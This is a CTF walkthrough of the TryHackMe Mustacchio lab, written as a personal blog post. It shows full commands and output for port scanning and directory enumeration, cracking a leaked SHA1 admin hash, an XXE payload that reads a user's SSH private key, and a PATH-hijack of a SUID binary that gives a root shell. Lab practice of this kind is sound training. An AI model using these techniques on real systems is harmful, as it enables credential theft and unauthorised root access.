TryHackMe: Mustacchio – A Beginner’s CTF Walkthrough

Recently, I took on the Mustacchio room on TryHackMe a beginner-to-intermediate CTF that tested a bit of everything: enumeration, file analysis, web recon, and even some privilege escalation. I’ve attempted a few rooms before, but this one pushed me a little further.

Initial Recon

Rustscan + Nmap

First up, I ran a basic port scan using Rustscan :

rustscan -a 10.10.243.233
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 10.10.243.233:22
Open 10.10.243.233:80
Open 10.10.243.233:8765
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 13:39 IST
Initiating Ping Scan at 13:39
Scanning 10.10.243.233 [4 ports]
Completed Ping Scan at 13:39, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:39
Completed Parallel DNS resolution of 1 host. at 13:39, 1.04s elapsed
DNS resolution of 1 IPs took 1.04s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:39
Scanning 10.10.243.233 [3 ports]
Discovered open port 80/tcp on 10.10.243.233
Discovered open port 22/tcp on 10.10.243.233
Discovered open port 8765/tcp on 10.10.243.233
Completed SYN Stealth Scan at 13:39, 0.22s elapsed (3 total ports)
Nmap scan report for 10.10.243.233
Host is up, received echo-reply ttl 60 (0.19s latency).
Scanned at 2025-07-26 13:39:26 IST for 0s

PORT     STATE SERVICE        REASON
22/tcp   open  ssh            syn-ack ttl 60
80/tcp   open  http           syn-ack ttl 60
8765/tcp open  ultraseek-http syn-ack ttl 60

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.61 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)

It revealed three open ports:

  • 22 (SSH)
  • 80 (HTTP)
  • 8765 (Unknown, likely HTTP-based)

I followed it up with a more detailed Nmap scan :

Findings:

  • Port 22: OpenSSH 7.2p2 (Ubuntu)
  • Port 80: Apache/2.4.18 with a robots.txt entry
  • Port 8765: Unknown service but worth checking later

Directory Enumeration with Gobuster

Next, I ran a Gobuster scan on port 80 :

gobuster dir -u http://10.10.243.233/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 60
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.243.233/
[+] Method:                  GET
[+] Threads:                 60
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 315] [--> http://10.10.243.233/images/]
/custom               (Status: 301) [Size: 315] [--> http://10.10.243.233/custom/]
/fonts                (Status: 301) [Size: 314] [--> http://10.10.243.233/fonts/]
/server-status        (Status: 403) [Size: 278]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

This revealed some interesting directories:

  • /images
  • /fonts
  • /custom
  • /server-status (403)

Inside /custom, there were two folders:

  • /css – had generic stylesheets
  • /js – had two interesting files: mobile.js and users.bak

Found a SQLite3 Database

The users.bak file was a SQLite3 database. I quickly opened it and queried the contents :

sqlite3 users.bak
sqlite> .tables
sqlite> SELECT * FROM users;

Got a credential :

admin | 1868e36a6d2b17d4c2745f1659433a54d4bc5f4b

Cracking the Hash with John

I used john to crack the password hash :

┌──(kali㉿DESKTOP-71PI6L8)-[~/CSLabs/THM/Mustacchio]
└─$ echo "admin:1868e36a6d2b17d4c2745f1659433a54d4bc5f4b" > hash.txt

┌──(kali㉿DESKTOP-71PI6L8)-[~/CSLabs/THM/Mustacchio]
└─$ john --format=raw-sha1 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 512/512 AVX512BW 16x])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldog19        (admin)     
1g 0:00:00:00 DONE (2025-07-26 14:17) 7.692g/s 5262Kp/s 5262Kc/s 5262KC/s bulldog93..bullcrap1
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords reliably
Session completed. 
admin:bulldog19

Stuck for a While…

At this point, I had valid credentials, but no visible login panel on the main web server (port 80). SSH wouldn’t let me in either.
I retraced my steps, looked at everything again… then it hit me : port 8765 had a service too.

Sure enough, navigating to http://10.10.243.233:8765 led me to a login page.

Logged in using admin:bulldog19, and a few things stood out almost immediately :

  • A JavaScript comment : //document.cookie = “Example=/auth/dontforget.bak”;
  • An HTML comment : Barry, you can now SSH in using your key!

XXE Attack to Get SSH Key

In /auth/dontforget.bak, I found a backup file in XML format.

<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>

Anyway that was a complete waste of time but it did gave me hint of using XML so….

After some trial and error and much needed help from ChatGPT, I crafted a simple XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" >]>
<comment>
  <name>&xxe;</name>
  <author>attacker</author>
  <com>test</com>
</comment>

This successfully dumped Barry’s private SSH key.

Cracking the SSH Key (Again, with John)

john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

Password found: urieljames

chmod 600 id_rsa
ssh -i id_rsa barry@10.10.243.233

Got user access as barry and grabbed user.txt

Joe’s Directory

barry@mustacchio:~$ pwd
/home/barry
barry@mustacchio:~$ cd ..
barry@mustacchio:/home$ ls
barry  joe
barry@mustacchio:/home$ cd joe
barry@mustacchio:/home/joe$ ls
live_log
barry@mustacchio:/home/joe$ file live_log 
live_log: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c03a68094c63347aeb02281a45518964ad12abe, for GNU/Linux 3.2.0, not stripped
Live Log :
barry@mustacchio:/home/joe$ ./live_log
10.17.13.251 - - [26/Jul/2025:09:42:14 +0000] "POST /home.php HTTP/1.1" 200 1123 "http://10.10.243.233:8765/home.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:09:42:17 +0000] "GET / HTTP/1.1" 200 728 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:09:42:24 +0000] "GET /auth/logout.php HTTP/1.1" 302 5 "http://10.10.243.233:8765/home.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:09:42:24 +0000] "GET /index.php HTTP/1.1" 200 728 "http://10.10.243.233:8765/home.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:09:42:44 +0000] "POST /auth/login.php HTTP/1.1" 302 5 "http://10.10.243.233:8765/index.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:09:42:44 +0000] "GET /index.php HTTP/1.1" 200 728 "http://10.10.243.233:8765/index.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:09:42:49 +0000] "POST /auth/login.php HTTP/1.1" 302 5 "http://10.10.243.233:8765/index.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:09:42:49 +0000] "GET /home.php HTTP/1.1" 200 1077 "http://10.10.243.233:8765/index.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:09:49:39 +0000] "GET /auth/dontforget.bak HTTP/1.1" 200 996 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:09:54:12 +0000] "POST /home.php HTTP/1.1" 200 2572 "http://10.10.243.233:8765/home.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:10:18:10 +0000] "POST /home.php HTTP/1.1" 200 2572 "http://10.10.243.233:8765/home.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
10.17.13.251 - - [26/Jul/2025:10:18:29 +0000] "POST /home.php HTTP/1.1" 200 1077 "http://10.10.243.233:8765/home.php" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

Privilege Escalation

I explored the system for SUID binaries and found one very interesting one : /home/joe/live_log

It was a SUID binary, owned by joe. When run, it printed web access logs and after inspecting it further, I figured out it likely called standard system binaries like tail.

With some help from ChatGPT, I replaced tail in my $PATH :

barry@mustacchio:/home/joe$ echo '#!/bin/bash' > /tmp/tail
barry@mustacchio:/home/joe$ echo '/bin/bash' >> /tmp/tail
barry@mustacchio:/home/joe$ chmod +x /tmp/tail
barry@mustacchio:/home/joe$ export PATH=/tmp:$PATH
barry@mustacchio:/home/joe$ /home/joe/live_log
root@mustacchio:/home/joe# whoami
root
root@mustacchio:/home/joe# id
uid=0(root) gid=0(root) groups=0(root),1003(barry)

Boom that’s how we got a root shell.


If you’re new to CTFs or TryHackMe, Mustacchio is a solid room to practice web-focused enumeration and thinking step-by-step.

Feel free to follow along or reach out if you want to try some other room together like this room too!

If you’re as passionate about Cyber-Security as I am, feel free to follow me on Twitter – @shrisec for the latest updates and connect with me on LinkedIn – Aditya Narayan to stay in the loop with my posts and insights in the upcoming projects and CTF writeups.
Let’s continue this fascinating journey together!

Leave a Reply

Your email address will not be published. Required fields are marked *